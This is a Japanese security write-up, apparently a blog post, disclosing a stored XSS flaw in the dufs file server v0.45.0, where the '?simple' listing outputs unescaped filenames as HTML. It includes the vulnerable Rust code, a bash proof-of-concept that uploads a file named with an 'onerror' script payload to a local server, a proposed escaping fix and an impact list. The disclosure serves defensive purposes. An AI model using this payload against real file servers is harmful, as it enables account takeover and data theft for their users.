Post

Bughunt:🔍 エスケープされていないファイル名を介した保存型XSS (GHSA-c47g-2m49-r7hv)

Bughunt:🔍 エスケープされていないファイル名を介した保存型XSS (GHSA-c47g-2m49-r7hv)

Summary

  • Title: Stored XSS via unescaped filename in ?simple output
  • Credits: sl91994
  • Status: 報告済み (Closed)

クエリパラメータ (simple) の安全ではない内部実装により,ファイル名又はディレクトリ名がJavascriptで書かれているファイルがアップロードされた状態で,該当ファイルが存在する階層において?simple を使用すると,そのJavascriptが実行されるStored XSS の脆弱性が存在します.

Details

  • Date of Vulnerability Discovery: 2025-02-03
  • Verified version: dufs v0.45.0
  • Primary CWE:
    • CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
  • CVSS Scores:
    • Medium

send_index() 関数において simple パラメータは,ファイル名又はディレクトリ名のサニタイズ・エスケープ処理をせず,直接 Content-Type: text/html として返します.

server.rs (lines 1179-1281)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
    #[allow(clippy::too_many_arguments)]
    fn send_index(
        &self,
        path: &Path,
        mut paths: Vec<PathItem>,
        exist: bool,
        query_params: &HashMap<String, String>,
        head_only: bool,
        user: Option<String>,
        access_paths: AccessPaths,
        res: &mut Response,
    ) -> Result<()> {
	// ...
	
        if has_query_flag(query_params, "simple") {
            let output = paths
                .into_iter()
                .map(|v| {
                    if v.is_dir() {
                        format!("{}/\n", v.name)
                    } else {
                        format!("{}\n", v.name)
                    }
                })
                .collect::<Vec<String>>()
                .join("");
            res.headers_mut()
                .typed_insert(ContentType::from(mime_guess::mime::TEXT_HTML_UTF_8));
            res.headers_mut()
                .typed_insert(ContentLength(output.len() as u64));
            *res.body_mut() = body_full(output);
            if head_only {
                return Ok(());
            }
            return Ok(());
        }
        
    // ...
    }

PoC

XSSの成功を確認する際は,ブラウザでの手動確認が必要です.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/bin/bash
set -e

# PoC: Stored XSS via unescaped filename in ?simple output
# Tested: dufs v0.45.0
# Affected: Unknown (requires vendor confirmation)
# Vulnerability: When ?simple query parameter is used, filenames are returned without HTML escaping with Content-Type: text/html, allowing stored XSS 
# Execution condition: The project root must be the current directory.

ROOT_DIR="/tmp/dufs-poc-$$/root"
PORT=15555
payload="<img src=x onerror=alert(\"XSS-Successful\")>"
evil_file="$payload.txt"

# Cleanup function to remove temp files and kill server
cleanup() {
    echo "[*] Cleaning up..."
    rm -rf "$ROOT_DIR"
    pkill -f "dufs.*$PORT" 2>/dev/null || true
    sleep 1
}
trap cleanup EXIT

# Step 1: Setup environment
echo "[*] Step 1: Setup environment"
rm -rf "$ROOT_DIR"
mkdir -p "$ROOT_DIR"
# end Step 1

# Step 2: Start dufs server with allow_upload=true
echo "[*] Step 2: Start dufs server (allow_upload=true)"
# Get the dufs binary path (prefer release)
DUFS_BIN=$(find ./target -maxdepth 3 -type f -executable -name dufs \
    \( -path "*/release/*" -o -path "*/debug/*" \) 2>/dev/null | sort -r | head -1)

if [ -z "$DUFS_BIN" ]; then
    echo "Error: dufs binary not found. Run 'cargo build' first." >&2
    exit 1
fi
echo "Using binary: $DUFS_BIN"

# launch background dufs and log output
# --allow-symlink defaults to false
$DUFS_BIN "$ROOT_DIR" --allow-upload --port $PORT --log-file /tmp/dufs-poc-$$.log > /dev/null 2>&1 &
DUFS_PID=$!
echo "    dufs started with PID $DUFS_PID on port $PORT"

sleep 2

# Verify server is running
if ! kill -0 $DUFS_PID 2>/dev/null; then
    echo "[!] ERROR: dufs failed to start"
    exit 1
fi

encoded_file=$(python3 -c "import urllib.parse, sys; print(urllib.parse.quote(sys.stdin.read().strip()))" <<< "$evil_file")

# Step 3: Upload payload file
echo "[*] Step 3: Upload payload file"
echo "Uploading payload file to dufs server..."
HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" -X PUT \
    "http://127.0.0.1:$PORT/$encoded_file" \
    -H "Content-Type: text/plain")
echo "    HTTP Status: $HTTP_STATUS"
echo ""


# Step 4: Verify upload (200 OK or 201 Created)
if [ "$HTTP_STATUS" -ne 200 ] && [ "$HTTP_STATUS" -ne 201 ]; then
    echo "[!] ERROR: File upload failed with status $HTTP_STATUS"
    exit 1
fi

# Step 5: Access the uploaded file (Manual verification via browser is required)
echo "To verify the XSS payload, open the following URL in a web browser:"
echo "http://127.0.0.1:$PORT/?simple"

read -p "Press [Enter] to stop the server and clean up..."
echo "[*] Stopping dufs server..."
sleep 1

攻撃可能な条件:

  • --allow-upload が許可されていること
  • 被害者が ?simple クエリを使用してアクセスすること

Impact

推奨される修正: ?simple での表示においても,ファイル名に対して escape_str_pcdata() 関数を使用してHTMLエスケープ処理を行う.この関数は既にWebDAV出力およびnoscript出力で使用されており,一貫したエスケープ処理が可能です.

server.rs (lines 1208-1219)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if has_query_flag(query_params, "simple") {
    let output = paths
        .into_iter()
        .map(|v| {
        // [FIX]: Modified to perform escape processing by passing through the escape_str_pcdata function instead of using v.name directly.
            let escaped_name = escape_str_pcdata(&v.name);
            if v.is_dir() {
                format!("{}/\n", escaped_name)
            } else {
                format!("{}\n", escaped_name)
            }
        })
        .collect::<Vec<String>>()
        .join("");
}

影響:

  • セッションハイジャック: 認証トークン/Cookieの窃取により,攻撃者が被害者のアカウントを乗っ取り可能
  • 任意操作の実行: 被害者の権限でファイルの削除,アップロード,移動,ダウンロードが可能
  • 永続的攻撃: 一度アップロードされたペイロードは,?simple でアクセスする全ユーザーに影響
  • 情報窃取: ページ上の機密情報やファイル一覧を攻撃者のサーバーに送信可能
  • XSSワームの拡散: 自動的に他のファイルに悪意のあるファイル名をコピーして拡散
This post is licensed under CC BY 4.0 by the author.